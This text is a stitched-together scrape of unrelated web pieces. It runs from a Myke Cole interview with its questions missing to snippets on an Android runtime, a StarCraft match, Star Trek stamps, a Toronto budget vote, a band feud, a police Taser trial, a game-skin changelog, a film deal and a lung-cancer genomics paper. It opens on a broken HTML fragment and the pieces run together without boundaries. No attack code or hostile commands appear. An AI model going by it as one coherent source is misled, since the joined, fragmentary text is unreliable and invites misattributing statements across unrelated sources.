/wp-content/uploads/2010/12/human-flowers3.jpg"> /wp-content/uploads/2010/12/human-flowers3.jpg" alt="human flowers3 Paintings Of Flowers Made From Human Bodies" width="580" height="464" />As mentioned recently, when I elected to resume doing interviews after my long hiatus, I started by checking which speculative fiction authors were releasing something new in the near future. Myke Cole, whose upcoming novel won't be published until next fall, didn't meet that criteria. That goes without saying.But there's no denying that Cole has become one of the bright new voices in the genre these last few years and one of my favorite new writers out there to boot. In addition, I've always felt kind of bad because I actually stopped doing interviews right when his debut came out in 2012. I certainly would have interviewed him back then had I not decided to stop featuring such content on the Hotlist. Hence, I've always felt that I sort of owed him one.Which explains why there is now a Myke Cole interview on the screen before you. To tell the truth, I'm really happy to have given him this opportunity. Indeed, Cole was quite forthcoming with his answers, making this the most in-depth interview I've posted since my first one with Steven Erikson. And that's saying something!Here are links to my reviews of all Cole titles. In case anyone of you is intrigued enough to give him a shot after reading this interview! =) You can start with eitherorEnjoy!------------------------A year ago, I could have just said "I'm a novelist," and left it at that. But suffice to say my life has kind of exploded in recent days. I got out of the Coast Guard and transitioned to a full time position with a major metropolitan police department, and I can now add the titles "historian" and "TV personality" to that list. So, for purposes of simplicity, here's a bulleted list:- Military fantasy SHADOW OPS trilogy and the REAWAKENING prequel trilogy (six novels).- THE SACRED THRONE trilogy coming from tor.com (THE ARMORED SAINT, THE QUEEN OF CROWS, THE KILLING LIGHT). This is dark stuff with a medieval setting. Think Mark Lawrence, Joe Abercrombie or Peter V. Brett.- I'm on CBS' new reality-TV series "Hunted," where I hunt fugitives. We just aired the 5th episode and there are two more to go in the season. I'm one of the "cyber analysts" and my primary job is phone-targeting, which is a fancy way of saying I using telephony technology to track people.- I just signed a contract with Osprey (the military history imprint of Bloomsbury) to do my first nonfiction book. It's ancient military history, and my primary goal is to combine solid scholarship with dramatic storytelling to produce a work that's *accessible* above all to people who aren't academics or necessarily serious students. I'm super psyched about this. Been dreaming of branching off into history for a long time now.Imagine if Harry Potter joined the Navy SEALS instead of going to Hogwarts. My books tackle serious issues, like the tradeoff between security and civil liberties and how necessary bureaucracies can also be meat-grinders, but there's plenty of awesome nerd-fodder in there too, like Hill Giants smashing helicopter gunships and goblins burning New York City to the ground.I'm never happy. I am blessed to have a core group of dedicated fans and to sell enough books to be able to keep getting future contracts. But I'd be lying if I said I was satisfied. I'm the restless type who moves the goal posts as soon as I reach them. First, I just wanted a book deal. Next, I just wanted to have fans. Now, I want to be on the New York Times Bestseller List.It took me 15 years of spending pretty much all my weekends and evenings writing. I had really incremental progress until my friend Peter V. Brett got his deal, and then I tripled down to try and catch up with him (still trying, by the way). A few things happened that I think made a difference for me. 1.) I jettisoned pretty much everything that wasn't writing. I used to be a kendo champion, was close to getting knighted in the SCA, did indoor climbing and was a member of a Hash House Harrier group. All of that had to go to make time for writing. 2.) I went to Iraq, and came back focused and with a renewed sense of how brief and precious life was. It made me determined not to waste a single moment. 3.) I began to read like a boxer watching a video of his opponent. I stopped enjoying books and started dissecting them. Somewhere in that morass, something clicked. I felt it. I knew I had made some kind of major change and that I would eventually win through.What surprises a lot of people is how dark my books are. I am heavily influenced by Pete's style, and my favorite writers are mostly from the "grimdark" subgenre. I also come out the Frank Miller era of comics. Anyone who has read his old Dark Knight, Elektra: Assassin and Ronin stuff knows how bleak that can be.I'm a firm believer in the doctrine "done right is better than done fast." I saw the deadline looming and I didn't think the manuscript was good enough to go to my editor. I don't like to have anyone (not my agent, not my editor, NOBODY who I need to have faith in my ability) other than my beta-readers look at my manuscripts until I am certain they are as good as I can make them. SIEGE LINE wasn't at that point, but I felt confident that I could turn it around with another few months. I've never blown a deadline before, and I was really upset about it, but I figured readers could forgive a late book. They wouldn't forgive a bad one.I can't wait for you to meet Wilma "Mankiller" Plante. She's the sheriff of a frozen hamlet in the ass-end of Canada's Northwest Territory. An Afghanistan veteran, she's hard as nails and takes no shit from anyone. All she's ever wanted is peace for her people and to grow old in the town she grew up in. But the Gemini Cell has other plans, and where they go, Jim Schweitzer goes...IF I can sell the third SHADOW OPS series (that is not guaranteed), it will pick up immediately after the events of BREACH ZONE, with many of the characters from the original trilogy.Absolutely not. Joe Abercrombie who has never fired a shot in anger in his life writes some of the best battle scenes I've ever read, and captures PTSD better than many writers I know who are actually suffering from it. Naomi Novik captures military wardroom culture better than almost any other writer I know (besides Jack Campbell), and as far as I know, she's never even been in a wardroom. The military experience is deeply personal, but smart people can certainly understand it well enough to convey it on the page. I'll take skill at writing over first-hand experience any day.I was working at the Pentagon, and doing the standard "what if" scenarios that are the stock-in-trade of nerds. My "what if" was "what if there was a department of magic?" I knew right away that the military would bind it up in rules and red tape and find a way to make it boring. I also knew that these rules, while necessary, would wind up hurting people. From there, the wheels just started spinning and never stopped.Grit. Writing is an intensely fraught occupation. There are really two types of writer: those who suffer from anxiety and depression and those who lie about suffering from anxiety and depression. I have the same low spots as everyone else, but I think one thing I do well is give myself a short period of time to rage and weep, and then dry my friggin' eyes and get my ass back in the chair and fix. The. Problem. I'm not unsympathetic to how hard this job is, but only one thing will get you to the place you want to be with a book, and that's throwing yourself at it until it breaks or you do.Patience. I like to *execute*, I like to be *done*, I like to be *on time*. This is the opposite of how a writer needs to be. Again - "Done right is better than done fast." Here's another one - "If you don't have time to do it right, how will you find time to do it twice?" Good writers SLOW DOWN. Good writers are willing to miss deadlines if it means their end product will be better. Good writers understand that it takes as long as it takes.Military members in fiction are usually portrayed with a lot of stereotypical attributes: They're all confident, they all have good judgment, they all stay cool under fire. Of course, this is total bunk. Military members are *people* and in any large group of people, there will be all types. Some are weak, some are stupid, some are evil, some are frightened. I worked hard in my my books to kill these stereotypes, and show military members in all their flawed glory.Definitely Wilma "Mankiller" Plante, who you'll meet in SIEGE LINE. She was originally intended to be a side-character, and wound up almost eclipsing Jim Schweitzer as the protagonist. It's *very* rare for me to have that weird experience where the character comes to life and I'm just taking dictation, but it happened with her.I think cover art is incredibly important. The number one reason people buy books is word-of-mouth and the digital equivalent of word-of-mouth. The number two reason is the cover. I've been incredibly lucky in my covers. First, I had action-heavy RPG illustrator Michael Komarck, and for the 2nd trilogy, I had iconic photo-manipulator Larry Rostant. Both are incredible artists in completely different ways. In all cases, Ace has basically allowed me to act as an art director, and I have had unprecedented levels of influence over my covers, from picking out equipment and clothing, to setting the scene. The pose Schweitzer takes on the cover of JAVELIN RAIN was my idea, because it's a book about him being beaten down. This is extremely rare for an author, and I definitely appreciate how fortunate I am to have been allowed this level of input.It's been retitled to THE ARMORED SAINT. It's a dark fantasy heavily influenced by my reading in the "grimdark" subgenre. It's set in a medieval secondary world with its own special technology. In this world, wizardry has been outlawed by a fanatic religious order who believes that it opens a doorway to hell and invites devils into the sunlit world. This order uses the danger of wizardry as an excuse for a brutal, oppressive rule. Heloise Factor, the protagonist, rebels against the Order, but just because the Order is heavy-handed, doesn't mean they are wrong... It will be available in 2018. I don't have an exact month yet.There's a reason this book took me three years to sell. It is COMPLETELY outside my wheelhouse, and I almost gave up on it twice. I try to stretch myself with each book I write. I have taken enormous pride in the fact that my previous six novels are all utterly different from one another. I can be accused of many things, but not of rubber-stamping out books in the same mold. This is my biggest reach yet, and it was a doozy, but in the end, I figured it out.Not much. The publisher has asked me to keep things vague until the summer, when they will announce details. I can tell you this: a.) It's ancient military history b.) Osprey is known for very short, almost pamphlet-sized books. This is a full-on 100k word work of history. c.) Like all Osprey books, it will be heavily illustrated, with hundreds of photographs, color plates, line drawings and maps. d.) The book will focus, first-and-foremost, on accessibility. I want ANYONE to be able to pick it up and enjoy it.I read almost exclusively inside the genre (when I'm not doing research for my history book. Right now, all I read are scholarly articles, my Greek and Latin phrasebooks and mountains of primary source material). Everyone knows my main influence is Peter V. Brett, but I am also in awe of Joe Abercrombie and Pierce Brown. These are writers where I read their work and want to give up writing, because how could I ever be that good?Hands down an NYT bestseller. Nobody, apart from a tiny cabal of insiders and SMOFs, cares about the Hugos or the WFA. Winning them does help expand your audience and sell more books, but if you hit the list that means you already ARE selling more books. I come out of fandom, and consider myself a dyed-in-the-wool nerd, but I want to write for the largest audience possible, and you can only hit the list if you're selling *outside* the traditional and limited genre audience. Added to this, both sets of awards, but moreso the Hugos, have been so mired in petty controversy that I'm not sure I want to be associated with them anymore.Hunted is the most elaborate game of hide-n-seek ever made. It pits 9 teams of ordinary Americans against 34 professional investigators, all of us drawn from the intelligence, military and law enforcement communities, each of us with an average of 20+ years experience. We have state of the art equipment and full powers of law enforcement. Any one of the teams that can evade us in 100,000 square miles of the southeastern US for 28 days wins $250,000.Most folks know that I worked in intelligence for many years, but most don't know that my specific discipline was as an SSO-T (Special Skills Officer - Targeter) in the Counterterrorism field. Counterterrorism Targeting is just a fancy way of saying "manhunting" and I guess I built a reputation, because when CBS started making inquiries, my name came up as a go-to guy, and I got a random call out of the blue asking me if I wanted to be on TV.It was (and is, because the show is running now) and amazing experience. I'm most pleased that it's a window into who we are and how we work for the general public. Police relations with the public always benefit from visibility, and I think this show is a great move in that direction.It was a Doge shirt, actually, and there's no way CBS would let me. They had specific people whose whole job was to "Greek" the set, which means they scour every inch of the clothing, the furniture and remove any proprietary art or company logos that could potentially cause a rights issue. But yeah, it would have been super cool. I asked them repeatedly to let me wear my Captain America belt buckle, or my Star Wars Spec Ops TIE Fighter t-shirt, and I never got more than a sad shaking of the head.I wish I could say no, but it wouldn't be true. Remember how above I said I was looking to break military stereotypes? I did that with Oscar Britton in CONTROL POINT. I made him wavering and dumb, and sort of had him blunder his way to heroism, just like real people do. There was a uniformly negative reaction from readers who felt that, while maybe this was realistic, it made him too unlikable, and turned them off the book. This horrified me. I'm thrilled to have succeeded artistically, but never at the cost of readers. Further characters are still human, but you will never see one as wavering as Britton.I would give anything to go back and rewrite Britton. I also feel like JAVELIN RAIN didn't quite hit the tone I wanted. The book is definitely my Empire Strikes Back, and I certainly intended it as a dark middle book, but I do sometimes wonder if I overdid that.I am an UBER architect. I usually write 80-120 pages of outline before I write a single word of prose. My fear is of painting myself into a corner and having to throw out a whole book (or most of a book) just weeks before deadline. The irony is, this sometimes happens anyway. I wound up throwing out something like 20,000 words of FORTRESS FRONTIER and rewriting it about 2 weeks before I handed it in.The scene in GEMINI CELL where Steve Chang and Sarah Schweitzer are comforting one another? I actually cried reading that. It was amazing and terrifying at the same time.I would never presume to describe fantasy's function for anyone. The truth is that literature is as complicated and varied as the people who read it, and I continue to be amazed that two people reading the same book can have entirely different and conflicting reactions. I do strongly believe one thing: Once I write the book and put it out there, I no longer own the reading experience. It now belongs to the reader and I have no choice but to accept their reactions. If someone feels that somehow CONTROL POINT is an "erotic marxist" novel, then that's what it is for them. There's no "you're reading it wrong."FORTRESS FRONTIER continues to be my favorite book of mine, both to write and to read. I think GEMINI CELL is probably a better book, but FF will always be my favorite.It's probably a 16 oz. can of red bull. The kind with extra sugar.My political posts. I tried very hard to stay apolitical in my early career, because I didn't want to color reader impressions, but more because I was commanding a military unit, and my troops had the right to know that their commander was politically neutral and would lead them to the best of his ability, and take care of them, no matter what they personally believed. Once I got out of the military, these shackles came off, and then Trump got elected, which I view as an absolutely national crisis that demands constant and dedicated response. I know that many conservatives are fans of military fiction, and that I am likely upsetting them with my strident political positions. This genuinely pains me. I really don't want to lose readers for any reason, but I also have to get up every morning and look in the mirror. Whatever damage the Trump administration does, it's important for me to be able to look at myself and know that I did what I could to stop it. If that costs me readers, well... that sucks, I'm not going to lie... but this is something I have to do so that I can live with myself. I imagine other writers who have taken controversial positions that cost them readers, like Orson Scott Card, feel the same way. I am a person who separates artist from art.is one of the GREAT novels, and I will read it and recommend it no matter what horrible things Card says. Ditto for. If you are not a reader who can make the same separation, what can I do but say "that sucks" and accept it?Actually, once. But it was bourbon, not coffee.I want to encourage everyone to play Fantasy Flight's Star Wars games. I'm currently heavy into X-Wing, Armada and Imperial Assault, and I want to increase the percent likelihood that any random person I run into will be willing to play with me. Thanks.Myriad has demonstrated the appropriately-named Dalvik Turbo engine for us here at MWC, claiming performance improvements of up to two or three times depending on the app -- and from the spinning 3D cube we saw running on a pair of Android Dev Phone 2s, we don't doubt it. Of course, the ADP2 is an ARM11-based phone, which means that the new runtime could effectively breathe new life into low- to midrange chipsets and let them enjoy some of the spoils usually reserved for high-end devices. Unfortunately, you won't be able to buy, download, and install Dalvik Pro yourself; Myriad is instead positioning it as a differentiator for carriers and manufacturers -- not unlike Sense or TouchWiz -- that would allow them to tout improved app performance across their Android lineup versus competitors'. The runtime is apparently 100 percent compatible with Google's stock Dalvik implementation, so you would be able to run any app... just a little faster than you'd otherwise be doing. We're told there's reason to believe we'll see this on production retail devices before the year's out, so these guys are definitely worth keeping an eye on.The time has come for our next Losers Round 1 match of the IGN Pro League Team Arena Challenge 3!
When: Wednesday, May 30 11:00pm GMT (GMT+00:00) (we will also have a European re-broadcast as usual at Thursday, May 31 5:30pm GMT (GMT+00:00) )
Format
This double-elimination tournament features 24 teams from around the world and is an All-Kill team format. This match is being played for Losers Round 1. The first team to defeat everyone on the opposing team's roster (5 wins, or a best of 9), will move on in the Losers Bracket, while the loser will be eliminated entirely. Keep in mind that this has a $20,000 prize pool, and only six teams will make it to the money!
Team Dignitas
KilleR
merz
SeleCT
SjoW
DreAm
BlinG
Bischu
Apollo
Eclypsia
Welmu
qwerty
ELVIS
KenZy
Sarens
Dayshi
KilleRmerzSeleCTSjoWDreAmBlinGBischuApolloWelmuqwertyELVISKenZySarensDayshi
The First Game of the IPL Team Arena Challenge 3 is on Wednesday, May 30 11:00pm GMT (GMT+00:00) (we will also have a European re-broadcast as usual at Thursday, May 31 5:30pm GMT (GMT+00:00) )
Poll: Who Will Win?!
Dignitas (38)
84%
Eclypsia (7)
16%
45 total votes (38)84%(7)16%45 total votes Your vote: Who Will Win?! (Vote): Dignitas
(Vote): Eclypsia
Results!
+ Show Spoiler [Dignitas vs Eclypsia Results] + Bischu < Metropolis > ELVIS
Bischu < Tal'Darim Altar > KenZy
SjoW < Antiga Shipyard > KenZy
KilleR < Daybreak > KenZy
KilleR < Ohana > Dayshi
KilleR < Sanshorn Mist AE > Sarens
KilleR < Atlantis Spaceship > Welmu
SeleCT < Entombed Valley > Welmu
Congratulations to Dignitas, winning 5-3! They move on to LR2, and Eclypsia has been eliminated!
Map List
IPLMap Sanshorn Mists AE
IPLMap Atlantis Spaceship
IPLMap Antiga Shipyard
IPLMap Daybreak
IPLMap Tal'Darim Altar LE
IPLMap Cloud Kingdom
IPLMap Metropolis
IPLMap Ohana
IPLMap Entombed Valley
All the maps can be found on NA, EU, or KR by searching for IPLMap!
The first map will be on a set rotation, and then it is loser's pick.
Casters
This week's games will be commentated by Kevin Knocke and Doa!Another two stamps have been issued as part of Canada Post’s month-long series celebrating the 50th anniversary of Star Trek: one depicts Klingon Commander Kor, played by the late Canadian actor John Colicos, and another shows the Klingon D7 class battlecruiser.
The stamps – the series’ sixth and seventh, respectively – were unveiled today at 10 p.m. at the Calgary Comic and Entertainment Expo.
We've received a transmission. It seems the Klingon Empire are demanding recognition in our @startrek stamp series pic.twitter.com/WGX5Wq2EYU — Canada Post (@canadapostcorp) April 29, 2016
Qapla’! Kor, the powerful commander of the #Klingon Empire and his battle cruiser are part of the @StarTrek crew pic.twitter.com/J7qK1uC29b — Canada Post (@canadapostcorp) April 29, 2016
PREVIOUS UNVEILS This offering joins five other stamps unveiled by Canada Post since April 6. The first two Star Trek stamps feature the U.S.S. Enterprise and its Captain James Kirk (played by Canadian actor William Shatner), respectively. A third stamp, depicting Spock (played by the late actor Leonard Nimoy), was unveiled a few days later at a star-gazing event in Vulcan, Alta. On April 22, a fourth stamp featuring Montgomery “Scotty” Scott, chief engineer of the U.S.S. Enterprise, was unveiled at famous locations across Toronto. Earlier this week, a fifth stamp featuring Dr. Leonard “Bones” McCoy was unveiled at the Canadian Medical Hall of Fame in London, Ont.City council tackled Mayor Rob Ford hard Tuesday, reversing $20 million in proposed cuts to pools, arenas, daycares, TTC service and homeless shelters and brushing aside his stern demand to leave the budget surplus untouched. Councillor Josh Colle, after days of intense negotiations among fellow centrists, progressives and a couple of conservatives, tabled a surprise omnibus motion Tuesday morning to rescue $15 million worth of services.
The crowd in the gallery "applauds" with wiggling fingers as Toronto City Council begins debate on a motion put forward by Councillor Josh Colle to take to 15 million of the city's year-end surplus to prevent some cuts to transit and social programs. ( STEVE RUSSELL / TORONTO STAR ) Councillor Josh Colle (Ward 15, Eglinton-Lawrence) introduces his motion to council, which survived procedural maneouvres by council right-wingers to be deferred and then split up. In one stroke, a 23-21 vote restored $15 million worth of the most contentious cuts in Mayor Rob Ford's budget. ( Rene Johnston / TORONTO STAR )
That set up a raucous nail-biter as Ford allies tried desperately to cajole several supporters of the motion to stick to his tough, year-in-the-making fiscal plan and prevent the biggest defeat in Ford’s tumultuous term. Tuesday evening, the packed council chamber erupted in cheers as Colle’s motion passed 23-21, followed by others that restored another roughly $5 million in funding to Toronto’s $9.4 billion operating budget. The money will increase youth programming in priority centres; keep arenas open weekdays; save pools and homeless shelters threatened with closure; reverse planned cuts to transit service; and continue special mechanical leaf pickup in parts of Etobicoke and Scarborough.
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“I think it was as simple as listening to what I was hearing from constituents,” Colle (Ward 15 Eglinton Lawrence) said after the final budget vote. “I’m definitely not a hero — just listening to what constituents wanted and trying to strike that always-difficult balance around the budget. Public sentiment was key to moving some councillors behind Colle’s motion. Thousands of emails clogged their inboxes, almost 13,000 Torontonians filled out surveys on which services they cherish and hundreds of people made deputations to various committee meanings, including two that went all night. Colle said councillors rejected Ford’s grave warnings that using even one dollar of the $154 million surplus from 2011 to maintain services this year would be reckless reliance on unsustainable funding. “We settled on a prudent budget that was fiscally responsible and addressed some of the concerns that people brought up,” he said. After huddling with advisers, Ford claimed victory because council heeded his call to limit the property tax increase to 2.5 per cent, and left a sizable chunk of the surplus to be applied to the TTC’s $700 million purchase of new streetcars.
The budget raises municipal taxes by $60 on the average home (assessed at ($447,090), to $2,459.89. That figure excludes education taxes, which will be set before final tax bills go out in the spring. The mayor stressed that the $9.4 billion spending plan still represents a reduction from the 2011 budget of about $30 million, albeit not the $50 million spending cut he wanted.
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“We are spending less money this year than we did last year,” Ford told reporters. “We are starting to change the culture here at city hall. We are turning the Queen Mary. “I think it’s a huge victory.” But his arch enemies on councils’ left were jubilant. “Torontonians won this,” said Councillor Joe Mihevc. “He (Ford) lost every single vote today that was put on the table, save one around contracting out janitors, so there’s no way you can say that he saved the day, that he won the day. “The majority of councillors at the end listened to their constituents, their bosses, who were saying it’s intolerable to hurt the quality of life of Torontonians.” But Ford’s opponents weren’t able to save everything. Program cuts will still mean mass layoffs in the months ahead. And an attempt to keep High Park’s zoo open after June 30 failed. But Councillor Sarah Doucette said she will seek new revenues to cover the $114,000 annual cost to keep the zoo running. “It gives me a chance to show we can get revenue, we can build the zoo. I’m not giving up,” said Doucette (Ward 13, Parkdale-High Park).NEW YORK, NY - DECEMBER 10: Martin Doherty, Lauren Mayberry and Iain Cook of CHVRCHES attend the private CHVRCHES Concert at The McKittrick Hotel; Concert To Air On SiriusXM's SiriusXMU Channel on December 10, 2013 in New York City. (Photo by Cindy Ord/Getty Images for SiriusXM)
Back in April, Mike Shinoda of Linkin Park chatted with Noisey about the group's latest album, "The Hunting Party," as well as the current state of rock music. In the interview, he had some choice words for Chvrches: "There’s so much music out there; there’s so much stuff that sounds like Haim or Chvrches or Vampire Weekend that I’m full. The thing I’m hungry for is not that. I turn on the rock station in L.A. and it sounds like Disney commercial music."
In an interview with Swiss TV channel Joiz, the synth-pop trio responded to Shinoda's comment, saying it was a "pointless dig." Singer Lauren Mayberry called it "bullshit."
"It’s not an opinion I would worry about hugely," Mayberry said. "It’s not my kind of music. They’ve been on the radio for how long, and I just don’t listen to that radio station. That’s a smarter move then saying something for a tagline.”Get the biggest daily news stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
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This is the dramatic moment a police officer sends a naked suspect crashing to the floor with his Taser - after he threw his dirty underpants at him.
PC Lee Birch, 30, zapped Daniel Dove with the 50,000-volt weapon after the well-worn boxers were flicked into his face.
The Chief Constable of Wilshire Police had tried to block the footage being made public after PC Birch was acquitted of assault.
But last night it was leaked to ITV News.
Mr Dove, 23, had been arrested for being drunk and disorderly outside a nightclub and was ordered to strip naked for a search once inside a police cell.
But he felt "humiliated" at the way he was being treated and hurled his boxers in a "split second" fit of temper.
PC Birch, who responded by immediately drawing his Taser, was charged with assault occasioning actual bodily harm and misconduct in public office.
A jury took just 60 minutes to acquit the Wiltshire police officer on both charges at Bristol Crown Court following a trial.
During the CCTV recording PC Birch can be seen to unclip his Taser from his holster within seconds of entering the cell.
He then continues to conceal it behind his back throughout the strip search before deploying it - holding the trigger for seven seconds.
Mr Dove crashes to the ground where PC Birch grabs the boxers and throws them at the wall, before shouting "you have assaulted me, don't do that again".
During the week-long trial Mr Dove told the court he was compliant throughout his arrest and gave PC Birch no reason to open fire.
He said: "I was compliant up until a point when I felt like I was being humiliated, I was stripped completely naked and put on my knees with hand cuffs on.
"PC Birch asked me to get naked in a strip search, which I did.
"You feel quite embarrassed, when I took them off it was a split second thing, I did it because I was annoyed."
He added: "I was not aware he had a Taser, he didn't tell me he had it or that he intended to use it.
"As soon as I flicked my pants at him he pulled his arm up from behind his back and shot me with it.
"He has not pulled it from a holster and said 'I will shoot you', he has just pulled it from behind his back and shot me.
"I didn't have any time to react or move, by the time I saw it.
"I don't know why he used it, I couldn't exactly move because there were three guys there so for him to use that on me was a bit irrational."
The trial heard how Dove was arrested in the early hours of December 23 2012 outside a nightclub in Trowbridge, Wilts., after clashing with another man.
Bouncers called police when he refused to cooperate and he was detained for being drunk and disorderly.
During the arrest he allegedly tried to punch PC Birch and kneed his colleague PC Reed in the groin.
Dove was then taken into custody at Melksham where he was escorted to a cell by PC Birch |
the appearance of the font on the match commentary bar (delete match commentary.xml from match folder to reverse this).
Added Instant Result to the skin.
More changes to the tactics screen, changed pitch background and various changes to players.
More views have been added (ie TCS Custom Schedule view).
Changed background of the inbox screen.
Improved player profiles
Re-styled scoreboard
Re-designed club panel
Tweaks to the social media/news tab
Added background image selector
New icons – credit to Emil, D_Lo_ and others
Improved stadium overview screen
Additional manager profile image
New TV logo
Tweaked boxes throughout the skin
New Player Overview
General UI Changes
Tab Bar is now secondary colour
Changes to Sky Sports Scoreboard – Credit to D_Lo_
Addition of BT Scoreboard
New Font
Changes to Tactical Panel
Changes to boxes throughout skin
Changed Schedule Panel
Added City pics to 1336×768 resolution
Changes to Map on Player Search
New Match Overview
Tweaks to Inbox Panel
Tweaks to News Panel
Tweaked Player Overview Panel
New Club Overview Panel
Various tweaks to match panel
And more!
TCS FM17 Preview
Final version of TCS 2017 - v1.5!• New views come integrated into the skin, specifically the tactics screen, player and staff search• DF11 Support• Inbox has been overhauled• More information added to screens such as the Players Released screen• New match titlebar scoreboard• Changes to the competition screen• New Scoreboard (Sky Sports 2017-18)• Stadium Overview Panel tweaked• Various tweaks to lower resolutions, may not be perfect but it is certianly better than the last version.So my time with FM 17 has come to an end! It has been an amazing year for TCS with this version being the best version of the skin ever released, as well as accumulating over 35,000 downloads over the course of the year, blows my mind considering TCS was started in 2015 as a personal project. I'd like to thank every single person who has downloaded the skin over the past two years, every person who's offered feedback, positive or negative as this allowed me to grow as a skinner and has provided a source of inspiration, when not only my FM time gets low, but also something to distract myself when my personal life gets low, it truly means a lot. Since we're being honest atm, I'm not entirely too sure of an FM 18 release. I've not hidden the fact that I'm not happy with the direction Football Manager is going, and outside of skinning 90% of the time spent with FM17 has been filled with frustration, and simply not fun. Another reason that TCS 2018 may not be getting released is monetary. I won't go into too much detail, but funds are tight at the moment, hence why I'm opening donations. Provided I don't need them for something urgent, any donations made will go towards FM 18; you can find a link below if you want to help out, or even just say thank you,Donate: https://www.paypal.me/TCSSkinOlder Versions: https://bluestillidie00blog.wordpress.com/2017/07/01/fm-17-tcs-v1-4-released/EXCLUSIVE: Disney is setting Edgar Wright to direct The Night Stalker, the remake of the ABC telepic and series that the studio is developing as a potential star vehicle for Johnny Depp to play intrepid tabloid reporter Carl Kolchak. Depp and his Infinitum Nihil partner Christi Dembrowski will produce.
Wright, best known for directing Shaun of the Dead and Scott Pilgrim Vs. The World, comes aboard before the studio has set a writer, and he will oversee and shape the project with Depp and Dembrowski from the ground floor. As Deadline revealed, the film took root at the studio last summer, borne out of Depp and Dembrowski’s fond memories of the original 70s movie and series that starred Darren McGavin. He covered crime for a tabloid and his cases always led to supernatural perpetrators that included zombies, vampires, werewolves and aliens. Of course, neither his editor nor anyone else would believe him or allow him to run what seemed like outrageous stories. But Kolchak would put himself in grave danger each episode. David Kennedy will be exec producer of the film.
The subject matter will be tailored to fit Disney’s family film mandate and likely a PG-13 rating, but the idea of Wright’s hyper-reality style and Depp’s gift for constructing quirky characters sounds like a good match to me. Wright is also attached to direct Ant-Man for Marvel Studios and Disney.
The Night Stalker was one of two films that Depp and Dembrowski set at the studio. The other was a drama about the Midnight Ride made by Paul Revere to warn Colonial militia of the impending British invasion that made him a seminal figure in the American Revolutionary War. Jon Brown and Infinitum Nihil’s Margaret French-Isaac will be executive producers.
Depp next saddles up for Disney with Armie Hammer in the Gore Verbinski-directed The Lone Ranger. Wright’s repped by CAA, Anonymous Content’s Michael Sugar and UK-based Independent Talent.We performed whole-exome sequencing (WES) on tumour and germline DNA, with a mean coverage of 97.6× and 95.8×, respectively, as performed previously17. The mean somatic mutation rate across the TCGA cohort was 8.87 mutations per megabase (Mb) of DNA (range: 0.5–48, median: 5.78). The non-synonymous mutation rate was 6.86 per Mb. MutSig2CV18 identified significantly mutated genes among our 230 cases along with 182 similarly-sequenced, previously reported lung adenocarcinomas12. Analysis of these 412 tumour/normal pairs highlighted 18 statistically significant mutated genes (Fig. 1a shows co-mutation plot of TCGA samples (n = 230), Supplementary Fig. 2 shows co-mutation plot of all samples used in the statistical analysis (n = 412) and Supplementary Table 4 contains complete MutSig2CV results, which also appear on the TCGA Data Portal along with many associated data files (https://tcga-data.nci.nih.gov/docs/publications/luad_2014/). TP53 was commonly mutated (46%). Mutations in KRAS (33%) were mutually exclusive with those in EGFR (14%). BRAF was also commonly mutated (10%), as were PIK3CA (7%), MET (7%) and the small GTPase gene, RIT1 (2%). Mutations in tumour suppressor genes including STK11 (17%), KEAP1 (17%), NF1 (11%), RB1 (4%) and CDKN2A (4%) were observed. Mutations in chromatin modifying genes SETD2 (9%), ARID1A (7%) and SMARCA4 (6%) and the RNA splicing genes RBM10 (8%) and U2AF1 (3%) were also common. Recurrent mutations in the MGA gene (which encodes a Max-interacting protein on the MYC pathway19) occurred in 8% of samples. Loss-of-function (frameshift and nonsense) mutations in MGA were mutually exclusive with focal MYC amplification (Fisher’s exact test P = 0.04), suggesting a hitherto unappreciated potential mechanism of MYC pathway activation. Coding single nucleotide variants and indel variants were verified by resequencing at a rate of 99% and 100%, respectively (Supplementary Fig. 3a, Supplementary Table 5). Tumour purity was not associated with the presence of false negatives identified in the validation data (P = 0.31; Supplementary Fig. 3b).
Figure 1: Somatic mutations in lung adenocarcinoma. a, Co-mutation plot from whole exome sequencing of 230 lung adenocarcinomas. Data from TCGA samples were combined with previously published data12 for statistical analysis. Co-mutation plot for all samples used in the statistical analysis (n = 412) can be found in Supplementary Fig. 2. Significant genes with a corrected P value less than 0.025 were identified using the MutSig2CV algorithm and are ranked in order of decreasing prevalence. b, c, The differential patterns of mutation between samples classified as transversion high and transversion low samples (b) or male and female patients (c) are shown for all samples used in the statistical analysis (n = 412). Stars indicate statistical significance using the Fisher’s exact test (black stars: q < 0.05, grey stars: P < 0.05) and are adjacent to the sample set with the higher percentage of mutated samples. Full size image Download PowerPoint slide
Past or present smoking associated with cytosine to adenine (C >A) nucleotide transversions as previously described both in individual genes and genome-wide12,13. C > A nucleotide transversion fraction showed two peaks; this fraction correlated with total mutation count (R2 = 0.30) and inversely correlated with cytosine to thymine (C > T) transition frequency (R2 = 0.75) (Supplementary Fig. 4). We classified each sample (Supplementary Methods) into one of two groups named transversion-high (TH, n = 269), and transversion-low (TL, n = 144). The transversion-high group was strongly associated with past or present smoking (P < 2.2 × 10−16), consistent with previous reports13. The transversion-high and transversion-low patient cohorts harboured different gene mutations. Whereas KRAS mutations were significantly enriched in the transversion-high cohort (P = 2.1 × 10−13), EGFR mutations were significantly enriched in the transversion-low group (P = 3.3 × 10−6). PIK3CA and RB1 mutations were likewise enriched in transversion-low tumours (P < 0.05). Additionally, the transversion-low tumours were specifically enriched for in-frame insertions in EGFR and ERBB2 (ref. 5) and for frameshift indels in RB1 (Fig. 1b). RB1 is commonly mutated in small-cell lung carcinoma (SCLC). We found RB1 mutations in transversion-low adenocarcinomas were enriched for frameshift indels versus single nucleotide substitutions compared to SCLC (P < 0.05)20,21 suggesting a mutational mechanism in transversion-low adenocarcinoma that is probably distinct from smoking in SCLC.
Gender is correlated with mutation patterns in lung adenocarcinoma22. Only a fraction of significantly mutated genes from the complete set reported in this study (Fig. 1a) were enriched in men or women (Fig. 1c). EGFR mutations were enriched in tumours from the female cohort (P = 0.03) whereas loss-of-function mutations within RBM10, an RNA-binding protein located on the X chromosome23 were enriched in tumours from men (P = 0.002). When examining the transversion-high group, 16 out of 21 RBM10 mutations were observed in males (P = 0.003, Fisher’s exact test).
